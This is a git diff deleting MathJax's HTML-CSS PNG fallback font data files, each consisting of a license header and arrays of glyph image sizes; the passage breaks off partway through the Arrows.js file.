-MathJax.OutputJax["HTML-CSS"].defineImageData({MathJax_Main:{915:[[4,5,0],[5,6,0],[6,8,0],[7,8,0],[8,9,0],[10,12,0],[12,14,0],[14,17,0],[16,20,0],[20,23,0],[23,27,0],[27,32,0],[32,38,0],[39,46,0]],916:[[6,5,0],[7,6,0],[8,8,0],[10,8,0],[11,9,0],[14,12,0],[16,14,0],[19,18,0],[22,21,0],[26,24,0],[31,29,0],[37,34,0],[44,40,0],[52,48,0]],920:[[5,5,0],[6,6,0],[8,8,0],[9,8,0],[10,9,0],[12,12,0],[15,14,0],[17,19,1],[20,22,1],[24,25,1],[29,29,0],[34,34,1],[40,41,1],[48,49,1]],923:[[5,5,0],[6,6,0],[7,8,0],[8,8,0],[10,9,0],[11,12,0],[13,14,0],[16,18,0],[19,21,0],[22,24,0],[26,29,0],[31,34,0],[37,40,0],[44,48,0]],926:[[5,5,0],[6,6,0],[7,8,0],[8,8,0],[9,9,0],[11,12,0],[13,14,0],[15,17,0],[18,20,0],[21,23,0],[25,27,0],[29,32,0],[35,38,0],[42,46,0]],928:[[5,5,0],[6,6,0],[8,8,0],[9,8,0],[11,9,0],[13,12,0],[15,14,0],[17,17,0],[21,20,0],[24,23,0],[29,27,0],[34,32,0],[41,38,0],[48,46,0]],931:[[5,5,0],[6,6,0],[7,8,0],[8,8,0],[10,9,0],[12,12,0],[13,14,0],[16,17,0],[19,20,0],[22,23,0],[27,27,0],[31,32,0],[37,38,0],[44,46,0]],933:[[5,5,0],[6,6,0],[8,8,0],[9,8,0],[10,9,0],[12,12,0],[14,14,0],[17,18,0],[20,21,0],[24,24,0],[29,28,0],[34,33,0],[40,40,0],[48,47,0]],934:[[5,5,0],[6,6,0],[7,8,0],[8,8,0],[10,9,0],[12,12,0],[13,14,0],[16,17,0],[19,20,0],[22,23,0],[27,27,0],[31,32,0],[37,38,0],[44,46,0]],936:[[6,5,0],[7,6,0],[8,8,0],[9,8,0],[11,9,0],[13,12,0],[15,14,0],[17,17,0],[21,20,0],[24,23,0],[29,27,0],[34,32,0],[41,38,0],[48,46,0]],937:[[5,5,0],[6,6,0],[7,8,0],[8,8,0],[10,9,0],[12,12,0],[14,14,0],[16,18,0],[19,21,0],[23,24,0],[27,29,0],[32,33,0],[38,40,0],[45,47,0]]}});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Main/Regular"+MathJax.OutputJax["HTML-CSS"].imgPacked+"/GreekAndCoptic.js");
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diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/Latin1Supplement.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/Latin1Supplement.js
deleted file mode 100644
index 9017cb1a..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/Latin1Supplement.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/Latin1Supplement.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({MathJax_Main:{160:[[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]],168:[[3,1,-4],[4,2,-4],[4,2,-6],[5,2,-6],[6,2,-7],[7,3,-9],[8,3,-11],[10,3,-14],[12,4,-16],[14,4,-19],[16,5,-22],[19,6,-26],[23,7,-31],[27,8,-37]],172:[[5,3,0],[6,3,0],[6,4,0],[8,4,0],[9,4,-1],[11,5,-2],[12,6,-1],[15,7,-2],[17,8,-2],[21,10,-3],[24,11,-4],[29,13,-4],[34,16,-5],[41,18,-6]],175:[[3,1,-3],[4,1,-5],[5,1,-6],[6,1,-6],[6,1,-7],[8,1,-10],[9,1,-11],[10,2,-13],[12,3,-15],[15,2,-18],[17,2,-22],[20,3,-26],[24,3,-30],[29,4,-36]],176:[[3,2,-3],[3,2,-4],[4,2,-6],[5,2,-6],[5,3,-6],[6,3,-9],[7,4,-10],[9,5,-13],[10,6,-15],[12,7,-17],[14,8,-22],[17,8,-25],[20,10,-30],[24,12,-36]],177:[[5,5,0],[6,6,0],[8,8,0],[9,8,0],[10,9,0],[12,12,0],[15,14,0],[17,17,0],[20,20,0],[24,23,0],[29,27,0],[34,31,0],[40,37,0],[48,45,0]],180:[[3,2,-3],[4,2,-4],[4,3,-5],[5,3,-5],[6,3,-6],[7,4,-8],[8,5,-9],[10,6,-12],[11,7,-14],[13,7,-17],[16,9,-19],[19,10,-23],[22,12,-28],[26,13,-34]],215:[[5,4,0],[6,5,0],[7,6,0],[8,6,0],[9,7,0],[11,9,0],[13,10,0],[15,12,0],[18,14,0],[21,17,0],[25,20,0],[30,23,0],[36,27,-1],[42,33,-1]],247:[[5,4,0],[6,6,0],[8,7,0],[9,7,0],[10,8,0],[12,10,0],[15,12,0],[17,15,1],[20,18,1],[24,19,1],[29,23,1],[34,27,2],[40,32,2],[48,39,2]]}});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Main/Regular"+MathJax.OutputJax["HTML-CSS"].imgPacked+"/Latin1Supplement.js");
-
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/LatinExtendedA.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/LatinExtendedA.js
deleted file mode 100644
index f35cfb7e..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/LatinExtendedA.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/LatinExtendedA.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({MathJax_Main:{305:[[2,3,0],[3,4,0],[3,5,0],[3,5,0],[4,6,0],[5,8,0],[5,9,0],[6,11,0],[8,13,0],[9,15,0],[10,18,0],[12,21,0],[15,25,0],[17,30,0]]}});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Main/Regular"+MathJax.OutputJax["HTML-CSS"].imgPacked+"/LatinExtendedA.js");
-
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/LatinExtendedB.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/LatinExtendedB.js
deleted file mode 100644
index 9a3129d7..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/LatinExtendedB.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/LatinExtendedB.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({MathJax_Main:{567:[[3,4,1],[3,6,2],[4,7,2],[4,7,2],[5,9,3],[5,12,4],[7,13,4],[8,16,5],[9,19,6],[10,22,7],[12,26,8],[14,30,9],[17,36,11],[19,44,13]]}});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Main/Regular"+MathJax.OutputJax["HTML-CSS"].imgPacked+"/LatinExtendedB.js");
-
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/LetterlikeSymbols.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/LetterlikeSymbols.js
deleted file mode 100644
index 1b97954a..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/LetterlikeSymbols.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/LetterlikeSymbols.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({MathJax_Main:{8463:[[4,6,1],[5,7,1],[6,7,0],[7,10,1],[8,11,1],[10,13,1],[11,15,1],[13,18,1],[16,21,1],[19,25,1],[22,29,1],[26,34,1],[31,40,1],[37,47,1]],8465:[[5,6,1],[6,7,1],[7,8,1],[8,9,0],[10,11,1],[12,13,1],[14,15,1],[17,18,1],[20,21,1],[23,25,1],[28,29,1],[33,34,1],[39,40,1],[46,48,1]],8467:[[4,5,0],[4,7,1],[4,8,1],[5,10,1],[6,11,1],[7,13,1],[8,15,1],[10,18,1],[12,21,1],[14,25,1],[16,29,1],[19,34,1],[23,41,2],[27,49,2]],8472:[[5,5,2],[5,6,2],[6,7,2],[8,9,3],[9,10,3],[11,12,4],[13,13,4],[15,16,5],[18,19,6],[21,23,8],[25,27,9],[29,32,11],[35,37,12],[41,45,15]],8476:[[6,5,0],[6,6,0],[7,8,0],[9,9,0],[11,11,1],[13,13,1],[15,16,1],[17,18,1],[21,22,1],[24,25,1],[29,30,1],[34,35,1],[40,41,1],[48,50,2]],8501:[[4,5,0],[5,6,0],[6,7,0],[7,9,0],[8,10,0],[10,12,0],[11,14,0],[13,17,0],[16,20,0],[19,23,0],[22,28,0],[26,33,0],[31,39,0],[37,46,0]]}});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Main/Regular"+MathJax.OutputJax["HTML-CSS"].imgPacked+"/LetterlikeSymbols.js");
-
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/Main.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/Main.js
deleted file mode 100644
index 91360328..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/Main.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/Main.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
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-
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/MathOperators.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/MathOperators.js
deleted file mode 100644
index 0c12dffd..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/MathOperators.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/MathOperators.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
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diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/MiscMathSymbolsA.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/MiscMathSymbolsA.js
deleted file mode 100644
index 85fa7ca7..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/MiscMathSymbolsA.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/MiscMathSymbolsA.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
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diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/MiscSymbols.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/MiscSymbols.js
deleted file mode 100644
index 679599c8..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/MiscSymbols.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/MiscSymbols.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
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diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/MiscTechnical.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/MiscTechnical.js
deleted file mode 100644
index f58504cd..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/MiscTechnical.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/MiscTechnical.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({MathJax_Main:{8968:[[3,8,2],[4,9,2],[5,11,3],[5,12,3],[6,15,4],[8,17,4],[9,20,5],[10,25,7],[12,28,7],[14,34,9],[17,40,10],[20,47,12],[24,56,14],[28,67,17]],8969:[[2,8,2],[3,9,2],[3,11,3],[3,12,3],[4,15,4],[5,17,4],[5,20,5],[7,24,6],[8,28,7],[9,34,9],[11,40,10],[13,47,12],[15,56,14],[18,67,17]],8970:[[3,8,2],[4,9,2],[5,11,3],[5,12,3],[6,15,4],[8,17,4],[8,20,5],[10,24,6],[12,28,7],[14,34,9],[17,40,10],[20,47,12],[24,56,14],[28,67,17]],8971:[[2,8,2],[3,9,2],[3,11,3],[3,12,3],[4,15,4],[5,17,4],[5,20,5],[6,24,6],[8,28,7],[9,34,9],[11,40,10],[13,47,12],[15,56,14],[18,67,17]],8994:[[7,3,0],[8,4,0],[10,3,-1],[12,4,-1],[14,5,-1],[16,6,-1],[19,6,-2],[22,8,-2],[27,8,-3],[32,9,-4],[37,12,-4],[44,13,-5],[53,16,-6],[63,19,-7]],8995:[[7,2,-1],[8,3,-1],[10,3,-1],[12,4,-1],[14,4,-2],[16,5,-2],[19,6,-2],[22,6,-3],[27,8,-3],[32,9,-4],[38,10,-5],[44,12,-6],[53,15,-7],[63,17,-8]],9136:[[3,8,2],[3,9,2],[4,11,3],[5,12,3],[5,15,4],[6,17,4],[7,20,5],[9,24,6],[10,28,7],[12,33,8],[14,40,10],[17,46,11],[20,55,13],[24,65,16]],9137:[[3,8,2],[3,9,2],[4,11,3],[5,12,3],[5,15,4],[6,17,4],[7,20,5],[9,24,6],[10,28,7],[12,33,8],[14,39,10],[17,47,12],[20,55,14],[24,65,16]]}});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Main/Regular"+MathJax.OutputJax["HTML-CSS"].imgPacked+"/MiscTechnical.js");
-
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/SpacingModLetters.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/SpacingModLetters.js
deleted file mode 100644
index 15e018d6..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/SpacingModLetters.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/SpacingModLetters.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({MathJax_Main:{710:[[3,2,-3],[4,3,-4],[4,3,-5],[5,3,-5],[6,3,-7],[7,4,-9],[8,4,-10],[9,5,-13],[11,6,-15],[13,7,-17],[16,7,-21],[18,9,-24],[22,10,-29],[26,12,-35]],711:[[3,1,-3],[4,1,-5],[4,2,-6],[5,2,-6],[6,2,-7],[7,3,-9],[8,3,-10],[9,3,-13],[11,4,-15],[13,5,-17],[16,6,-21],[18,6,-24],[22,8,-29],[26,9,-34]],713:[[3,1,-3],[4,1,-5],[5,1,-6],[6,1,-6],[6,1,-7],[8,1,-10],[9,1,-11],[10,2,-13],[12,3,-15],[15,2,-18],[17,2,-22],[20,3,-26],[24,3,-30],[29,4,-36]],714:[[3,2,-3],[4,2,-4],[4,3,-5],[5,3,-5],[6,3,-6],[7,4,-8],[8,5,-9],[10,6,-12],[11,7,-14],[13,7,-17],[16,9,-19],[19,10,-23],[22,12,-28],[26,13,-34]],715:[[3,2,-3],[3,2,-4],[3,3,-5],[4,3,-5],[5,3,-6],[5,4,-8],[6,4,-10],[7,6,-12],[9,7,-14],[10,7,-17],[12,8,-20],[14,10,-23],[17,11,-28],[20,13,-34]],728:[[3,2,-3],[4,2,-4],[4,2,-6],[5,2,-6],[6,3,-6],[7,3,-9],[8,4,-10],[10,5,-12],[12,5,-15],[14,6,-17],[16,7,-21],[19,9,-24],[23,10,-29],[27,12,-34]],729:[[3,1,-4],[3,2,-4],[4,2,-6],[4,2,-6],[5,2,-7],[6,3,-9],[7,3,-11],[8,3,-14],[9,4,-16],[11,5,-18],[13,5,-22],[15,6,-26],[18,7,-31],[21,9,-37]],730:[[3,2,-3],[3,2,-4],[4,2,-6],[5,2,-6],[5,3,-6],[6,3,-9],[7,4,-10],[9,5,-13],[10,6,-15],[12,7,-17],[14,8,-22],[17,8,-25],[20,10,-30],[24,12,-36]],732:[[3,1,-4],[4,1,-5],[5,1,-7],[5,1,-7],[6,1,-8],[7,3,-9],[9,3,-11],[10,3,-14],[12,3,-17],[14,4,-19],[17,4,-23],[20,5,-26],[23,6,-32],[28,7,-38]]}});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Main/Regular"+MathJax.OutputJax["HTML-CSS"].imgPacked+"/SpacingModLetters.js");
-
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/SuppMathOperators.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/SuppMathOperators.js
deleted file mode 100644
index 8235c992..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/SuppMathOperators.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/SuppMathOperators.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({MathJax_Main:{10815:[[5,5,0],[6,6,0],[8,7,0],[9,9,0],[10,10,0],[12,12,0],[15,14,0],[17,16,0],[20,19,0],[24,23,0],[29,27,0],[34,32,0],[40,38,0],[48,45,0]],10927:[[5,6,1],[6,7,1],[7,9,2],[9,10,2],[10,11,2],[12,14,3],[14,16,3],[17,18,3],[20,22,4],[23,26,5],[28,31,6],[33,37,7],[39,44,8],[46,52,10]],10928:[[5,6,1],[6,7,1],[7,9,2],[9,10,2],[10,11,2],[12,14,3],[14,16,3],[17,19,4],[20,22,4],[23,26,5],[28,31,6],[33,37,7],[39,44,8],[46,52,10]]}});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Main/Regular"+MathJax.OutputJax["HTML-CSS"].imgPacked+"/SuppMathOperators.js");
-
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/SupplementalArrowsA.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/SupplementalArrowsA.js
deleted file mode 100644
index 0bd9128b..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/SupplementalArrowsA.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/SupplementalArrowsA.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({MathJax_Main:{10229:[[11,5,1],[13,5,0],[15,6,1],[18,7,1],[22,9,1],[26,9,0],[30,11,1],[36,13,1],[43,15,1],[51,18,1],[60,21,1],[71,25,1],[85,30,1],[101,35,1]],10230:[[11,5,1],[13,5,0],[16,7,1],[19,7,1],[22,9,1],[26,9,0],[31,11,1],[37,13,1],[43,15,1],[52,18,1],[61,22,1],[73,25,1],[86,30,1],[103,35,1]],10231:[[13,5,1],[15,5,0],[18,6,1],[22,7,1],[25,9,1],[30,9,0],[36,11,1],[42,13,1],[50,15,1],[60,18,1],[71,22,1],[84,25,1],[100,30,1],[119,35,1]],10232:[[11,5,1],[13,6,1],[16,7,1],[19,8,1],[22,9,1],[26,10,1],[31,11,1],[37,14,1],[43,16,1],[52,20,2],[61,23,2],[73,27,2],[86,31,2],[103,37,2]],10233:[[11,5,1],[14,6,1],[16,7,1],[19,8,1],[22,9,1],[27,10,1],[31,12,1],[37,14,1],[44,16,1],[52,19,1],[62,22,1],[74,26,1],[88,32,2],[104,37,2]],10234:[[13,5,1],[15,6,1],[18,7,1],[22,8,1],[25,9,1],[30,10,1],[36,12,1],[42,14,1],[50,16,1],[60,20,2],[71,23,2],[84,27,2],[100,31,2],[119,37,2]],10236:[[11,5,1],[13,5,0],[16,7,1],[19,7,1],[22,9,1],[26,9,0],[31,11,1],[37,13,1],[44,15,1],[52,18,1],[61,22,1],[73,25,1],[86,30,1],[103,35,1]]}});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Main/Regular"+MathJax.OutputJax["HTML-CSS"].imgPacked+"/SupplementalArrowsA.js");
-
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/unpacked/Arrows.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/unpacked/Arrows.js
deleted file mode 100644
index 98c11cbd..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/unpacked/Arrows.js
+++ /dev/null
@@ -1,129 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/Arrows.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_Main": {
-    0x2190: [  // LEFTWARDS ARROW
-      [7,5,1],[8,5,0],[10,6,1],[12,7,1],[14,9,1],[16,9,0],[19,11,1],[22,13,1],
-      [27,15,1],[32,18,1],[37,22,1],[44,25,1],[53,30,1],[63,35,1]
-    ],
-    0x2191: [  // UPWARDS ARROW
-      [4,7,2],[5,8,2],[5,9,2],[6,12,3],[7,13,3],[9,16,4],[10,18,4],[11,22,5],
-      [13,26,6],[16,30,7],[19,36,8],[22,42,9],[27,50,11],[32,59,13]
-    ],
-    0x2192: [  // RIGHTWARDS ARROW
-      [7,5,1],[8,5,0],[10,7,1],[12,7,1],[14,9,1],[16,9,0],[19,11,1],[22,13,1],
-      [27,15,1],[32,18,1],[37,22,1],[44,25,1],[53,30,1],[63,35,1]
-    ],
-    0x2193: [  // DOWNWARDS ARROW
-      [4,7,2],[5,8,2],[5,9,2],[6,12,3],[7,13,3],[9,16,4],[10,18,4],[12,22,5],
-      [14,26,6],[16,30,7],[19,36,8],[23,42,9],[27,50,11],[32,59,13]
-    ],
-    0x2194: [  // LEFT RIGHT ARROW
-      [7,5,1],[8,5,0],[10,7,1],[12,7,1],[14,9,1],[16,9,0],[19,11,1],[22,13,1],
-      [27,15,1],[32,18,1],[37,22,1],[44,25,1],[53,30,1],[63,35,1]
-    ],
-    0x2195: [  // UP DOWN ARROW
-      [4,8,2],[5,10,3],[5,11,3],[6,14,4],[7,15,4],[9,18,5],[10,22,6],[12,25,7],
-      [14,30,8],[16,35,9],[19,42,11],[23,49,13],[27,59,16],[32,69,18]
-    ],
-    0x2196: [  // NORTH WEST ARROW
-      [7,7,2],[8,8,2],[10,10,2],[12,12,3],[14,13,3],[16,16,4],[19,19,4],[22,22,5],
-      [27,26,6],[32,31,7],[38,37,8],[45,44,10],[53,52,12],[63,61,13]
-    ],
-    0x2197: [  // NORTH EAST ARROW
-      [7,7,2],[9,8,2],[10,10,2],[12,12,3],[14,13,3],[16,16,4],[19,19,4],[23,22,5],
-      [27,26,6],[32,31,7],[38,37,8],[46,44,10],[54,52,11],[64,61,13]
-    ],
-    0x2198: [  // SOUTH EAST ARROW
-      [7,7,2],[9,8,2],[10,10,3],[12,12,3],[14,13,3],[17,16,4],[19,19,5],[23,23,6],
-      [27,26,6],[32,31,8],[38,37,9],[46,44,11],[54,52,13],[64,61,15]
-    ],
-    0x2199: [  // SOUTH WEST ARROW
-      [7,7,2],[8,8,2],[10,10,3],[12,12,3],[14,13,3],[16,16,4],[19,19,5],[22,23,6],
-      [26,26,6],[32,31,8],[37,37,9],[44,44,11],[53,52,13],[63,61,15]
-    ],
-    0x21A6: [  // RIGHTWARDS ARROW FROM BAR
-      [7,5,1],[8,5,0],[10,7,1],[11,7,1],[14,9,1],[16,9,0],[19,11,1],[22,13,1],
-      [27,15,1],[32,18,1],[37,22,1],[44,25,1],[53,30,1],[63,35,1]
-    ],
-    0x21A9: [  // LEFTWARDS ARROW WITH HOOK
-      [8,5,1],[9,5,0],[11,7,1],[13,7,1],[15,9,1],[18,9,0],[21,11,1],[25,13,1],
-      [30,15,1],[36,18,1],[42,21,1],[50,25,1],[60,30,1],[71,35,1]
-    ],
-    0x21AA: [  // RIGHTWARDS ARROW WITH HOOK
-      [8,5,1],[9,5,0],[11,7,1],[13,7,1],[15,9,1],[18,9,0],[21,11,1],[25,13,1],
-      [30,15,1],[36,18,1],[42,22,1],[50,25,1],[60,30,1],[71,35,1]
-    ],
-    0x21BC: [  // LEFTWARDS HARPOON WITH BARB UPWARDS
-      [7,3,-1],[8,3,-2],[10,4,-2],[12,4,-2],[14,5,-3],[16,5,-4],[19,6,-4],[22,7,-5],
-      [27,8,-6],[32,10,-7],[37,11,-9],[44,14,-10],[53,17,-12],[63,19,-15]
-    ],
-    0x21BD: [  // LEFTWARDS HARPOON WITH BARB DOWNWARDS
-      [7,3,1],[8,3,0],[10,4,1],[12,4,1],[14,5,1],[16,5,0],[19,7,1],[22,8,1],
-      [27,9,1],[32,10,1],[37,12,1],[44,14,1],[53,16,1],[63,19,1]
-    ],
-    0x21C0: [  // RIGHTWARDS HARPOON WITH BARB UPWARDS
-      [7,3,-1],[8,3,-2],[10,4,-2],[12,4,-2],[14,5,-3],[16,5,-4],[19,6,-4],[22,7,-5],
-      [27,8,-6],[32,10,-7],[37,11,-9],[44,14,-10],[53,17,-12],[63,19,-15]
-    ],
-    0x21C1: [  // RIGHTWARDS HARPOON WITH BARB DOWNWARDS
-      [7,3,1],[8,3,0],[10,4,1],[12,4,1],[14,5,1],[16,5,0],[19,7,1],[22,8,1],
-      [27,9,1],[32,10,1],[37,12,1],[44,14,1],[53,16,1],[63,19,1]
-    ],
-    0x21CC: [  // RIGHTWARDS HARPOON OVER LEFTWARDS HARPOON
-      [7,6,1],[8,6,0],[10,8,1],[12,9,1],[14,11,1],[16,11,0],[19,14,1],[22,17,1],
-      [27,20,1],[32,24,1],[37,28,1],[44,33,1],[53,39,1],[63,45,1]
-    ],
-    0x21D0: [  // LEFTWARDS DOUBLE ARROW
-      [7,5,1],[8,6,1],[10,7,1],[12,8,1],[14,9,1],[16,10,1],[19,11,1],[22,14,1],
-      [27,16,1],[32,20,2],[37,23,2],[44,27,2],[53,31,2],[63,38,3]
-    ],
-    0x21D1: [  // UPWARDS DOUBLE ARROW
-      [4,7,2],[5,8,2],[6,9,2],[7,12,3],[8,13,3],[10,16,4],[12,18,4],[14,22,5],
-      [17,26,6],[20,30,7],[23,36,8],[28,43,10],[32,50,11],[38,59,13]
-    ],
-    0x21D2: [  // RIGHTWARDS DOUBLE ARROW
